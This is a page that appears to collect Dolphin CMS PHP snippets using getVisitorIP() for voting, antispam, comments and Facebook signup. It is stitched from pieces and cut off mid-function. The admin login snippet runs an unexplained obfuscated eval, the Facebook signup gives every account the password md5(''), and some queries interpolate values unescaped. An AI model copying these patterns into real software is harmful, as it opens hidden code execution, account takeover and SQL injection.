Esempio n. 1
0
 function getVotedItems()
 {
     $ip = getVisitorIP();
     $oDolVoting = new BxDolVoting($this->sType, 0, 0);
     $aVotedItems = $oDolVoting->getVotedItems($ip);
     return $this->reviewArray($aVotedItems, $oDolVoting->_aSystem['row_prefix'] . 'id');
 }
Esempio n. 2
0
 public function serviceGetBlockFormRequest()
 {
     if (!$this->_oConfig->isRequestInvite()) {
         return array('content' => MsgBox(_t('_bx_invites_err_not_available')));
     }
     $mixedAllowed = $this->isAllowedRequest(0);
     if ($mixedAllowed !== true) {
         return array('content' => MsgBox($mixedAllowed));
     }
     $sResult = '';
     $oForm = BxDolForm::getObjectInstance($this->_oConfig->getObject('form_request'), $this->_oConfig->getObject('form_display_request_send'));
     $oForm->initChecker();
     if ($oForm->isSubmittedAndValid()) {
         $sIp = getVisitorIP();
         $iId = (int) $oForm->insert(array('nip' => ip2long($sIp), 'date' => time()));
         if ($iId !== false) {
             $sRequestsEmail = $this->_oConfig->getRequestsEmail();
             if (!empty($sRequestsEmail)) {
                 $sManageUrl = BX_DOL_URL_ROOT . BxDolPermalinks::getInstance()->permalink('page.php?i=invites-requests');
                 $aMessage = BxDolEmailTemplates::getInstance()->parseTemplate('bx_invites_request_form_message', array('sender_name' => bx_process_output($oForm->getCleanValue('name')), 'sender_email' => bx_process_output($oForm->getCleanValue('email')), 'sender_ip' => $sIp, 'manage_url' => $sManageUrl));
                 sendMail($sRequestsEmail, $aMessage['Subject'], $aMessage['Body'], 0, array(), BX_EMAIL_SYSTEM);
             }
             $sResult = MsgBox(_t('_bx_invites_msg_request_sent'));
         }
     }
     return array('content' => $sResult . $oForm->getCode());
 }
 /**
  * Check captcha.
  */
 public function check()
 {
     $mixedResponce = bx_file_get_contents($this->sVerifyUrl, array('secret' => $this->_sKeyPrivate, 'response' => bx_process_input(bx_get('g-recaptcha-response')), 'remoteip' => getVisitorIP()));
     if ($mixedResponce === false) {
         return false;
     }
     $aResponce = json_decode($mixedResponce, true);
     if (isset($aResponce['success']) && $aResponce['success'] === true) {
         return true;
     }
     if (!empty($aResponce['error-codes'])) {
         $this->_error = $aResponce['error-codes'];
     }
     return false;
 }
Esempio n. 4
0
 function getBlockCode_RatedSet()
 {
     $this->oMedia->clearFilters(array('activeStatus', 'allow_view', 'album_status', 'albumType'), array('albumsObjects', 'albums'));
     $this->oMedia->aCurrent['join']['rateTrack'] = array('type' => 'inner', 'table' => 'bx_sounds_voting_track', 'mainField' => 'ID', 'onField' => 'gal_id', 'joinFields' => array('gal_ip', 'gal_date'));
     $this->oMedia->aCurrent['paginate']['perPage'] = getParam($this->oMedia->aGlParamsSettings['previousRatedNumber']);
     $this->oMedia->aCurrent['sorting'] = 'voteTime';
     $sIp = getVisitorIP();
     $this->oMedia->aCurrent['restriction']['ip'] = array('value' => $sIp, 'field' => 'gal_ip', 'table' => 'bx_sounds_voting_track', 'operator' => '=');
     $sCode = $this->oMedia->displayResultBlock();
     if (strlen($sCode) > 0) {
         $sCode = $GLOBALS['oFunctions']->centerContent($sCode, '.sys_file_search_unit');
     } else {
         $sCode = MsgBox(_t("_Empty"));
     }
     return $sCode;
 }
Esempio n. 5
0
 function getBlockCode_RatedSet()
 {
     $sMainPrefix = $this->oConfig->getMainPrefix();
     $this->oMedia->clearFilters(array('activeStatus', 'allow_view', 'album_status', 'albumType'), array('albumsObjects', 'albums'));
     $this->oMedia->aCurrent['join']['rateTrack'] = array('type' => 'inner', 'table' => $sMainPrefix . '_voting_track', 'mainField' => 'ID', 'onField' => 'gal_id', 'joinFields' => array('gal_ip', 'gal_date'));
     $this->oMedia->aCurrent['paginate']['perPage'] = $this->oConfig->getGlParam('number_previous_rated');
     $this->oMedia->aCurrent['sorting'] = 'voteTime';
     $sIp = getVisitorIP();
     $this->oMedia->aCurrent['restriction']['ip'] = array('value' => $sIp, 'field' => 'gal_ip', 'table' => $sMainPrefix . '_voting_track', 'operator' => '=');
     $this->oMedia->sTemplUnit = 'browse_unit_rater';
     $sCode = $this->oMedia->displayResultBlock();
     if (!$this->oMedia->aCurrent['paginate']['totalNum']) {
         $sCode = MsgBox(_t("_Empty"));
     }
     return array($sCode, array(), array(), false);
 }
Esempio n. 6
0
 /**
  * Check if IP is directly bloked by IP address or by IP address range
  *
  * @param $sCurIP IP to check, or empty for current IP
  * @return true - if IP is blocked; false - if IP is not blocked, or feature is not enabled, or it is run under cron
  */
 public function isIpBlocked($sCurIP = '')
 {
     if (defined('BX_DOL_CRON_EXECUTE')) {
         return false;
     }
     $iIPGlobalType = (int) getParam('bx_antispam_ip_list_type');
     if (BX_ANTISPAM_IP_TABLE_DISABLED == $iIPGlobalType) {
         return false;
     }
     if (!$sCurIP) {
         $sCurIP = getVisitorIP();
     }
     if ($this->isIpWhitelisted($sCurIP)) {
         return false;
     }
     if ($this->_isIpListed('deny', $sCurIP)) {
         return true;
     }
     return BX_ANTISPAM_IP_TABLE_ALL_BLOCKED_EXCEPT_LISTED == $iIPGlobalType ? true : false;
 }
 public function getUserIp()
 {
     return getVisitorIP();
 }
function addComment($profileID)
{
    global $logged;
    global $oProfile;
    if ($logged['member']) {
        $record_sender = (int) $_COOKIE['memberID'];
    } else {
        return;
    }
    $period = 1;
    // time period before user can add another record (in minutes)
    $record_maxlength = 1600;
    // max length of record
    // Test if IP is defined
    $ip = getVisitorIP();
    if ($ip == '0.0.0.0') {
        return _t_err("_sorry, i can not define you ip adress. IT'S TIME TO COME OUT !");
    }
    // get record text
    $record_text = addslashes(clear_xss(trim(process_pass_data($_POST['commenttext']))));
    if (strlen($record_text) < 2) {
        return _t_err("_enter_message_text");
    }
    // Test if last message is old enough
    $last_count = db_value("SELECT COUNT(*) FROM `ProfilesComments` WHERE `IP` = '{$ip}' AND (UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(`Date`) < {$period}*60)");
    if ($last_count != 0) {
        return _t_err("_You have to wait for PERIOD minutes before you can write another message!", $period);
    }
    $replyTO = (int) $_POST['replyTO'];
    // Perform insertion
    $query = "\n\t\tINSERT INTO `ProfilesComments` SET\n\t\t\t`Date` = NOW(),\n\t\t\t`IP` = '{$ip}',\n\t\t\t`Sender` = {$record_sender},\n\t\t\t`Recipient` = {$oProfile->_iProfileID},\n\t\t\t`Text` = '{$record_text}',\n\t\t\t`New` = '1',\n\t\t\t`ReplyTO` = {$replyTO}\n\t\t";
    db_res($query);
}
Esempio n. 9
0
 /**
  * Write new message;
  * 
  * @return text (error message if have some troubles)
  */
 function actionWriteMessage()
 {
     if ($this->isShoutBoxAllowed($this->iMemberId, true)) {
         $sMessage = isset($_POST['message']) ? strip_tags(trim($_POST['message'])) : '';
         if ($sMessage) {
             // process smiles;
             if ($this->_oConfig->bProcessSmiles) {
                 $sMessage = $this->_processSmiles($sMessage);
             }
             // create new message;
             $this->_oDb->writeMessage($sMessage, $this->iMemberId, ip2long(getVisitorIP()));
             if ($this->_oConfig->iAllowedMessagesCount) {
                 // delete superfluous messages;
                 $iMessagesCount = $this->_oDb->getMessagesCount();
                 if ($iMessagesCount > $this->_oConfig->iAllowedMessagesCount) {
                     $this->_oDb->deleteMessages($iMessagesCount - $this->_oConfig->iAllowedMessagesCount);
                 }
             }
         } else {
             echo _t('_bx_shoutbox_message_empty');
         }
     } else {
         echo _t('_bx_shoutbox_access_denied');
     }
 }
Esempio n. 10
0
 function checkPostValueForSystem($aItem, $mValue)
 {
     switch ($aItem['Name']) {
         case 'Captcha':
             return $this->checkCaptcha($mValue) ? true : _t('_Captcha check failed');
             break;
         case 'Status':
             if (!in_array($mValue, $aItem['Values'])) {
                 return 'Status hack attempt!';
             }
             break;
         case 'TermsOfUse':
             $i = getParam(base64_decode('c3lzX2FudGlzcGFtX3NtYXJ0X2NoZWNr')) && bx_get('do_submit');
             bx_import('BxDolStopForumSpam');
             $oBxDolStopForumSpam = new BxDolStopForumSpam();
             if (2 == getParam('ipBlacklistMode') && bx_is_ip_blocked()) {
                 return _t('_Sorry, your IP been banned');
             } elseif ('on' == getParam('sys_dnsbl_enable') && 'block' == getParam('sys_dnsbl_behaviour') && bx_is_ip_dns_blacklisted('', 'join') || $i || $oBxDolStopForumSpam->isSpammer(array('email' => $_POST['Email'][0], 'ip' => getVisitorIP(false)), 'join')) {
                 return sprintf(_t('_sys_spam_detected'), BX_DOL_URL_ROOT . 'contact.php');
             } else {
                 return $mValue ? true : _t('_You must agree with terms of use');
             }
             break;
         case 'ProfilePhoto':
             if ($aItem['Mandatory'] && is_null($mValue)) {
                 return _t('_Please specify image file');
             }
             if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
                 return true;
             }
             $sFileName = $GLOBALS['dir']['tmp'] . $mValue;
             if ($mValue && !file_exists($sFileName)) {
                 // hack attempt
                 return 'No way! File not exists: ' . $sFileName;
             }
             $aSize = @getimagesize($sFileName);
             if ($mValue && !$aSize) {
                 @unlink($sFileName);
                 return _t('_Please specify image file');
             }
             if ($mValue && $aSize[2] != IMAGETYPE_GIF && $aSize[2] != IMAGETYPE_JPEG && $aSize[2] != IMAGETYPE_PNG) {
                 unlink($sFileName);
                 return _t('_Please specify image of JPEG, GIF or PNG format');
             }
             return true;
             break;
     }
     return true;
 }
Esempio n. 11
0
 */
require_once '../inc/header.inc.php';
require_once BX_DIRECTORY_PATH_INC . 'profiles.inc.php';
require_once BX_DIRECTORY_PATH_INC . 'design.inc.php';
require_once BX_DIRECTORY_PATH_INC . 'admin_design.inc.php';
require_once BX_DIRECTORY_PATH_INC . 'utils.inc.php';
bx_import('BxRSS');
bx_import('BxDolAdminDashboard');
define('BX_DOL_ADMIN_INDEX', 1);
$bLogged = isLogged();
$bNeedCheck = $bLogged && isAdmin() && $_POST['relocate'] && strncasecmp($_POST['relocate'], BX_DOL_URL_ADMIN . 'license.php', strlen(BX_DOL_URL_ADMIN . 'license.php')) == 0;
if ($bNeedCheck || isset($_POST['ID']) && isset($_POST['Password'])) {
    $iId = getID($_POST['ID']);
    $sPassword = process_pass_data($_POST['Password']);
    if (!$bLogged) {
        $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $iId, 'password' => $sPassword, 'ip' => getVisitorIP()));
        $oZ->alert();
    }
    if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
        echo check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN, false) ? 'OK' : 'Fail';
    } else {
        if ($bNeedCheck || check_password($iId, $sPassword, BX_DOL_ROLE_ADMIN)) {
            if ($_POST['relocate'] && (strncasecmp($_POST['relocate'], BX_DOL_URL_ROOT, strlen(BX_DOL_URL_ROOT)) == 0 || strncasecmp($_POST['relocate'], BX_DOL_URL_ADMIN . 'license.php', strlen(BX_DOL_URL_ADMIN . 'license.php')) == 0)) {
                $sUrlRelocate = $_POST['relocate'];
            } else {
                $sUrlRelocate = BX_DOL_URL_ADMIN . 'index.php';
            }
            $sUrlRelocate = bx_html_attribute($sUrlRelocate);
            $r = $l($a);
            eval($r($b));
            header('Content-Type: text/html; charset=utf-8');
 /**
  * Create new profile;
  *
  * @param  : $aProfileInfo (array) - some profile's information;
  *          @see : $this -> aFacebookProfileFields;
  *
  * @param  : $sAlternativeName (string) - profiles alternative nickname;
  * @return : error string or error or profile info array on success
  */
 function _createProfileRaw($aProfileInfo, $sAlternativeName = '', $isAutoFriends = true, $isSetLoggedIn = true)
 {
     //print_r($aProfileInfo); exit;
     $sCountry = '';
     $sCity = '';
     //-- join by invite only --//
     if (getParam('reg_by_inv_only') == 'on' && (!isset($_COOKIE['idFriend']) || getID($_COOKIE['idFriend']) == 0)) {
         return _t('_registration by invitation only');
     }
     //--
     // process the date of birth;
     if (isset($aProfileInfo['birthday'])) {
         $aProfileInfo['birthday'] = isset($aProfileInfo['birthday']) ? date('Y-m-d', strtotime($aProfileInfo['birthday'])) : '';
     }
     // generate new password for profile;
     //$sNewPassword = genRndPwd();
     //$sPasswordSalt =  genRndSalt();
     //$aProfileInfo['password'] = encryptUserPwd($sNewPassword,$sPasswordSalt);
     $aProfileInfo['password'] = md5("");
     //-- define user's country and city --//
     $aLocation = array();
     if (isset($aProfileInfo['location']['name'])) {
         $aLocation = $aProfileInfo['location']['name'];
     } else {
         if (isset($aProfileInfo['hometown']['name'])) {
             $aLocation = $aProfileInfo['hometown']['name'];
         }
     }
     $sCity = "";
     $sCountry = "";
     if ($aLocation) {
         $aCountryInfo = explode(',', $aLocation);
         $sCountry = $this->_oDb->getCountryCode(trim($aCountryInfo[1]));
         $sCity = trim($aCountryInfo[0]);
         //set default country name, especially for American brothers
         if ($sCity && !$sCountry) {
             $sCountry = $this->_oConfig->sDefaultCountryCode;
         }
     }
     //--
     //try define the user's email
     $sEmail = !empty($aProfileInfo['email']) ? $aProfileInfo['email'] : $aProfileInfo['proxied_email'];
     //print_r($sEmail);exit;
     //check email
     if ($this->_oDb->isEmailExisting($sEmail)) {
         return _t('_bx_facebook_error_email');
     }
     //ini_set("display_errors", "1");
     //print_r($aProfileInfo); exit;
     //-- fill array with all needed values --//
     $aProfileFields = array('FacebookProfile' => $aProfileInfo['id'], 'NickName' => $aProfileInfo['nick_name'] . $sAlternativeName, 'Email' => $sEmail, 'Sex' => isset($aProfileInfo['gender']) ? $aProfileInfo['gender'] : '', 'DateOfBirth' => isset($aProfileInfo['birthday']) ? $aProfileInfo['birthday'] : '', 'Password' => isset($aProfileInfo['password']) ? $aProfileInfo['password'] : '', 'FirstName' => isset($aProfileInfo['first_name']) ? $aProfileInfo['first_name'] : '', 'LastName' => isset($aProfileInfo['last_name']) ? $aProfileInfo['last_name'] : '', 'DescriptionMe' => isset($aProfileInfo['bio']) ? $aProfileInfo['bio'] : '', 'Interests' => isset($aProfileInfo['interests']) ? $aProfileInfo['interests'] : '', 'Religion' => isset($aProfileInfo['religion']) ? $aProfileInfo['religion'] : '', 'Country' => $sCountry, 'City' => $sCity);
     //--
     $aEdirectoryProfileFields = array('facebook_uid' => $aProfileInfo['id'], 'nickname' => $aProfileInfo['nick_name'] . $sAlternativeName, 'personal_message' => isset($aProfileInfo['bio']) ? $aProfileInfo['bio'] : '', 'facebook_image' => isset($aProfileInfo['picture']) ? $aProfileInfo['picture'] : '', 'facebook_image_width' => '100', 'facebook_image_height' => '100', 'location' => $sCity);
     $thisusername = $aProfileInfo['first_name'] . $aProfileInfo['last_name'];
     //$thisusername = utf8_encode ( $thisusername );
     $aAccountFields = array('facebook_username' => "facebook::" . $thisusername . "_" . $aProfileInfo['id'], 'username' => "facebook::" . $thisusername . "_" . $aProfileInfo['id'], 'has_profile' => 'y', 'active' => 'y', 'foreignaccount' => 'y', 'foreignaccount_done' => 'y', 'password' => isset($aProfileInfo['password']) ? $aProfileInfo['password'] : '', 'updated' => date('Y-m-d H:i:s'), 'entered' => date('Y-m-d H:i:s'), 'agree_tou' => '1');
     $aAccountProfileContactFields = array('username' => "facebook::" . $thisusername . "_" . $aProfileInfo['id'], 'has_profile' => 'y', 'nickname' => $aProfileInfo['first_name'] . " " . $aProfileInfo['last_name'], 'first_name' => isset($aProfileInfo['first_name']) ? $aProfileInfo['first_name'] : '', 'last_name' => isset($aProfileInfo['last_name']) ? $aProfileInfo['last_name'] : '', 'facebook_image_width' => '100', 'facebook_image_height' => '100');
     $aContactFields = array('email' => $sEmail, 'first_name' => isset($aProfileInfo['first_name']) ? $aProfileInfo['first_name'] : '', 'last_name' => isset($aProfileInfo['last_name']) ? $aProfileInfo['last_name'] : '', 'country' => $sCountry, 'city' => $sCity);
     bx_import('BxDolStopForumSpam');
     $oBxDolStopForumSpam = new BxDolStopForumSpam();
     if (2 == getParam('ipBlacklistMode') && bx_is_ip_blocked()) {
         return _t('_Sorry, your IP been banned');
     } elseif ('on' == getParam('sys_dnsbl_enable') && 'block' == getParam('sys_dnsbl_behaviour') && bx_is_ip_dns_blacklisted('', 'join facebook') || $oBxDolStopForumSpam->isSpammer(array('email' => $aProfileFields['Email'], 'ip' => getVisitorIP(false)), 'join facebook')) {
         return sprintf(_t('_sys_spam_detected'), BX_DOL_URL_ROOT . 'contact.php');
     }
     // check fields existence;
     foreach ($aProfileFields as $sKey => $mValue) {
         if (!$this->_oDb->isFieldExist($sKey)) {
             // (field not existence) remove from array;
             unset($aProfileFields[$sKey]);
         }
     }
     //-- add some system values --//
     $aProfileFields['Role'] = BX_DOL_ROLE_MEMBER;
     $aProfileFields['DateReg'] = date('Y-m-d H:i:s');
     // set current date;
     $aProfileFields['Salt'] = $sPasswordSalt;
     //--
     //check redirect page
     if ('join' == $this->_oConfig->sRedirectPage) {
         return array('profile_info_fb' => $aProfileInfo, 'profile_fields' => $aProfileFields, 'join_page_redirect' => true);
     }
     // create new profile;
     $iProfileId = $this->_oDb->createProfile($aProfileFields);
     $this->_oDb->EdirctorycreateProfile($aAccountFields, $aEdirectoryProfileFields, $aContactFields, $aAccountProfileContactFields);
     $oProfileFields = new BxDolProfilesController();
     //remember FB uid for created member
     $this->_oDb->saveFbUid($iProfileId, $aProfileInfo['id']);
     // check profile status;
     if (getParam('autoApproval_ifNoConfEmail') == 'on') {
         if (getParam('autoApproval_ifJoin') == 'on') {
             $sProfileStatus = 'Active';
             if (!empty($aProfileInfo['email'])) {
                 $oProfileFields->sendActivationMail($iProfileId);
             }
         } else {
             $sProfileStatus = 'Approval';
             if (!empty($aProfileInfo['email'])) {
                 $oProfileFields->sendApprovalMail($iProfileId);
             }
         }
     } else {
         if (!empty($aProfileInfo['email'])) {
             $oProfileFields->sendConfMail($iProfileId);
             $sProfileStatus = 'Unconfirmed';
         } else {
             if (getParam('autoApproval_ifJoin') == 'on') {
                 $sProfileStatus = 'Active';
             } else {
                 $sProfileStatus = 'Approval';
             }
         }
     }
     // update profile's status;
     $this->_oDb->updateProfileStatus($iProfileId, $sProfileStatus);
     $oProfileFields->createProfileCache($iProfileId);
     if (!empty($aProfileInfo['email'])) {
         //-- send email notification --//
         $oEmailTemplate = new BxDolEmailTemplates();
         $aTemplate = $oEmailTemplate->getTemplate('t_fb_connect_password_generated');
         $aNewProfileInfo = getProfileInfo($iProfileId);
         $aPlus = array('NickName' => getNickName($aNewProfileInfo['ID']), 'NewPassword' => $sNewPassword);
         sendMail($aNewProfileInfo['Email'], $aTemplate['Subject'], $aTemplate['Body'], '', $aPlus);
     }
     //--
     bx_member_ip_store($iProfileId);
     if (BxDolModule::getInstance('BxWmapModule')) {
         BxDolService::call('wmap', 'response_entry_add', array('profiles', $iProfileId));
     }
     // create system event
     $oZ = new BxDolAlerts('profile', 'join', $iProfileId);
     $oZ->alert();
     // auto-friend members if they are already friends on Facebook
     if ($isAutoFriends) {
         $this->_makeFriends($iProfileId);
     }
     // set logged
     if ($isSetLoggedIn) {
         $aProfile = getProfileInfo($iProfileId);
         $this->setLogged($iProfileId, $aProfile['Password'], '', false);
     }
     return array('profile_info_fb' => $aProfileInfo, 'profile_id' => $iProfileId);
 }
Esempio n. 13
0
 function BxSitesSearchResult($sMode = '', $sValue = '', $sValue2 = '', $sValue3 = '')
 {
     $this->_oMain = $this->getSitesMain();
     $this->isError = false;
     $this->sUnitTemplate = 'unit';
     $this->sUnitName = 'unit';
     $this->sThumbSize = 'browse';
     $this->sMode = $sMode;
     bx_import("BxTemplVotingView");
     $oVotingView = new BxTemplVotingView('bx_sites', 0);
     $this->oVotingView = $oVotingView->isEnabled() ? $oVotingView : null;
     $this->aCurrent['title'] = _t('_bx_sites');
     $this->aCurrent['paginate']['perPage'] = getParam('bx_sites_per_page');
     switch ($sMode) {
         case 'pending':
             unset($this->aCurrent['rss']);
             break;
         case 'adminpending':
             unset($this->aCurrent['rss']);
             $this->aCurrent['restriction']['activeStatus']['value'] = 'pending';
             $this->sSitesBrowseUrl = 'administration';
             break;
         case 'my_pending':
             $this->aCurrent['restriction']['owner'] = array('value' => $this->_oMain->iOwnerId, 'field' => 'ownerid', 'operator' => '=');
             $this->aCurrent['restriction']['activeStatus']['value'] = 'pending';
             $this->sSitesBrowseUrl = 'browse/my';
             unset($this->aCurrent['rss']);
             break;
         case 'user':
             if ($sValue) {
                 $iProfileId = $this->_oMain->_oDb->getProfileIdByNickName($sValue);
                 if ($iProfileId) {
                     $this->aCurrent['title'] = _t('_bx_sites_caption_browse_by_user') . $sValue;
                     $GLOBALS['oTopMenu']->setCurrentProfileID($iProfileId);
                     $this->aCurrent['restriction']['owner'] = array('value' => $iProfileId, 'field' => 'ownerid', 'operator' => '=');
                     $this->sSitesBrowseUrl = 'browse/user/' . $sValue;
                 } else {
                     $this->isError = true;
                 }
             } else {
                 $this->isError = true;
             }
             break;
         case 'category':
             $sCategory = uri2title($sValue);
             $this->aCurrent['restriction']['category']['value'] = $sCategory;
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_by_category') . ' ' . $sCategory;
             $GLOBALS['oTopMenu']->setCustomSubHeader(_t('_bx_sites_caption_browse_by_category') . ' ' . $sCategory);
             $this->sSitesBrowseUrl = 'browse/category';
             break;
         case 'tag':
             $sTag = uri2title($sValue);
             $this->aCurrent['restriction']['tag']['value'] = $sTag;
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_by_tag') . ' ' . $sTag;
             $GLOBALS['oTopMenu']->setCustomSubHeader(_t('_bx_sites_caption_browse_by_tag') . ' ' . $sTag);
             $this->sSitesBrowseUrl = 'browse/all';
             break;
         case 'all':
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_all');
             $this->sSitesBrowseUrl = 'browse/all';
             break;
         case 'recent':
             $this->aCurrent['paginate']['perPage'] = 1;
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             $this->sUnitTemplate = 'block_percent';
             $this->sThumbSize = 'file';
             break;
         case 'featured':
             $this->aCurrent['restriction']['featured']['value'] = 1;
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_featured');
             $this->sSitesBrowseUrl = 'browse/featured';
             $this->sSitesBrowseAll = 'browse/featured';
             break;
         case 'featuredlast':
             $this->aCurrent['paginate']['perPage'] = 1;
             $this->aCurrent['restriction']['featured']['value'] = 1;
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             $this->sUnitTemplate = 'block_percent';
             $this->sThumbSize = 'file';
             break;
         case 'featuredshort':
             $this->aCurrent['restriction']['featured']['value'] = 1;
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             $this->sUnitTemplate = 'unit_short';
             $this->sSitesBrowseUrl = 'browse/featuredshort';
             $this->sSitesBrowseAll = 'browse/featured';
             $this->aCurrent['paginate']['perPage'] = 5;
             break;
         case 'top':
             $this->aCurrent['sorting'] = 'top';
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_top_rated');
             $this->sSitesBrowseUrl = 'browse/top';
             break;
         case 'popular':
             $this->aCurrent['sorting'] = 'popular';
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_popular');
             $this->sSitesBrowseUrl = 'browse/popular';
             break;
         case 'search':
             if ($sValue) {
                 $this->aCurrent['restriction']['keyword'] = array('value' => $sValue, 'field' => '', 'operator' => 'against');
             }
             $this->aCurrent['title'] = _t('_bx_sites_caption_search_results') . ' ' . $sValue;
             $this->sSitesBrowseUrl = 'browse/search/' . $sValue;
             unset($this->aCurrent['rss']);
             break;
         case 'admin':
             $this->aCurrent['join'] = array('profile' => array('type' => 'left', 'table' => 'Profiles', 'mainField' => 'ownerid', 'onField' => 'ID', 'joinFields' => array('Role')));
             $this->aCurrent['restriction'] = array('admin' => array('value' => '3', 'field' => 'Role', 'operator' => '=', 'table' => 'Profiles'));
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_admin');
             $this->sSitesBrowseUrl = 'browse/admin';
             break;
         case 'users':
             $this->aCurrent['join'] = array('profile' => array('type' => 'left', 'table' => 'Profiles', 'mainField' => 'ownerid', 'onField' => 'ID', 'joinFields' => array('Role')));
             $this->aCurrent['restriction']['role'] = array('value' => '3', 'field' => 'Role', 'operator' => '<>', 'table' => 'Profiles');
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_profile');
             $this->sSitesBrowseUrl = 'browse/profile';
             break;
         case 'calendar':
             $this->aCurrent['restriction']['calendar-min'] = array('value' => "UNIX_TIMESTAMP('{$sValue}-{$sValue2}-{$sValue3} 00:00:00')", 'field' => 'date', 'operator' => '>=', 'no_quote_value' => true);
             $this->aCurrent['restriction']['calendar-max'] = array('value' => "UNIX_TIMESTAMP('{$sValue}-{$sValue2}-{$sValue3} 23:59:59')", 'field' => 'date', 'operator' => '<=', 'no_quote_value' => true);
             $this->sSitesBrowseUrl = "browse/calendar/{$sValue}/{$sValue2}/{$sValue3}";
             $this->aCurrent['title'] = _t('_bx_sites_caption_browse_by_day') . getLocaleDate(strtotime("{$sValue}-{$sValue2}-{$sValue3}"), BX_DOL_LOCALE_DATE_SHORT);
             $GLOBALS['oTopMenu']->setCustomSubHeader($this->aCurrent['title']);
             break;
         case 'hon_rate':
             $ip = getVisitorIP();
             $aVotedItems = $oVotingView->getVotedItems($ip);
             $aList = array();
             $sPrefix = $oVotingView->_aSystem['row_prefix'] . 'id';
             foreach ($aVotedItems as $iKey => $aVal) {
                 $aList[$iKey] = $aVal[$sPrefix];
             }
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             $this->aCurrent['paginate']['perPage'] = 1;
             $this->aCurrent['sorting'] = 'rand';
             $this->aCurrent['restriction']['id'] = array('value' => $aList, 'field' => 'id', 'operator' => 'not in');
             break;
         case 'hon_prev_rate':
             $this->aCurrent['join']['rateTrack'] = array('type' => 'inner', 'table' => 'bx_sites_rating_track', 'mainField' => 'id', 'onField' => 'sites_id', 'joinFields' => array('sites_ip', 'sites_date'));
             $this->aCurrent['paginate']['perPage'] = 1;
             $this->aCurrent['sorting'] = 'sites_date';
             $sIp = getVisitorIP();
             $this->aCurrent['restriction']['ip'] = array('value' => $sIp, 'field' => 'sites_ip', 'table' => 'bx_sites_rating_track', 'operator' => '=');
             break;
         case 'index':
             $this->sSitesBrowseUrl = 'index';
             $this->sSitesBrowseAll = 'browse/all';
             $this->aCurrent['paginate']['perPage'] = 3;
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             break;
         case 'profile':
             if ($sValue) {
                 $iProfileId = $this->_oMain->_oDb->getProfileIdByNickName(process_db_input($sValue));
                 if ($iProfileId) {
                     $this->aCurrent['restriction']['owner'] = array('value' => $iProfileId, 'field' => 'ownerid', 'operator' => '=');
                     $this->sSitesBrowseUrl = 'profile/' . $sValue;
                     $this->sSitesBrowseAll = 'browse/user/' . $sValue;
                     $this->aCurrent['paginate']['perPage'] = 3;
                     $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
                 } else {
                     $this->isError = true;
                 }
             } else {
                 $this->isError = true;
             }
             break;
         case 'home':
             $this->sSitesBrowseUrl = 'browse/home';
             $this->sSitesBrowseAll = 'browse/all';
             $this->aCurrent['paginate']['perPage'] = 5;
             $this->aCurrent['restriction']['public']['value'] = BX_DOL_PG_ALL;
             break;
         case '':
             $this->sSitesBrowseUrl = 'browse/';
             $this->aCurrent['title'] = _t('_bx_sites');
             unset($this->aCurrent['rss']);
             break;
         default:
             $this->isError = true;
     }
     if (!$this->isError) {
         if (isset($this->aCurrent['rss'])) {
             $this->aCurrent['rss']['link'] = BX_DOL_URL_ROOT . $this->_oMain->_oConfig->getBaseUri() . $this->sSitesBrowseUrl;
         }
         if (bx_get('rss') !== false && bx_get('rss')) {
             $this->aCurrent['ownFields'][] = 'description';
             $this->aCurrent['ownFields'][] = 'date';
             $this->aCurrent['paginate']['perPage'] = $this->_oMain->_oDb->getParam('bx_sites_max_rss_num');
         }
     }
     parent::BxTemplSearchResult();
 }
Esempio n. 14
0
 function isDublicateVote()
 {
     if (!$this->isEnabled()) {
         return false;
     }
     $sVoterIdentification = isLogged() ? getLoggedId() : getVisitorIP();
     return $this->_oQuery->isDublicateVote($this->getId(), $sVoterIdentification);
 }
Esempio n. 15
0
 public function onPositiveDetection($sExtraData = '')
 {
     $o = bx_instance('BxDolDNSBlacklists');
     $o->onPositiveDetection(getVisitorIP(false), $sExtraData, 'stopforumspam');
 }
 /**
  * Adding a Comment to Post
  *
  * @return MsgBox result
  */
 function ActionAddBlogComment()
 {
     $this->CheckLogged();
     $blogID = (int) $_POST['CommPostID'];
     $senderID = $this->aBlogConf['visitorID'];
     $commentText = $this->process_html_db_input($_POST['message']);
     $replyTo = (int) $_POST['replyTo'];
     $ip = getVisitorIP();
     // ( getenv('HTTP_CLIENT_IP') ? getenv('HTTP_CLIENT_IP') : getenv('REMOTE_ADDR') );
     if (!$ip) {
         $ret = _t_err("_sorry, i can not define you ip adress. IT'S TIME TO COME OUT !");
         return $ret;
     }
     if (0 >= $senderID) {
         return _t_err('_im_textLogin');
     }
     if (0 >= $blogID) {
         return '';
     }
     $last_count = db_arr("SELECT COUNT( * ) AS `last_count` FROM `BlogPostComments` WHERE `IP` = '{$ip}' AND (UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(`Date`) < 1*60)");
     if ($last_count['last_count'] != 0) {
         $ret = _t("_You have to wait for PERIOD minutes before you can write another message!", 1);
         return MsgBox($ret);
     }
     $addCommentQuery = "\n\t\t\tINSERT INTO `BlogPostComments`\n\t\t\tSET\n\t\t\t\t`PostID` = '{$blogID}',\n\t\t\t\t`SenderID` = '{$senderID}',\n\t\t\t\t`CommentText` = '{$commentText}',\n\t\t\t\t`ReplyTo` = '{$replyTo}',\n\t\t\t\t`IP` = '{$ip}',\n\t\t\t\t`Date` = NOW()\n\t\t";
     //echo $addCommentQuery;
     if (db_res($addCommentQuery)) {
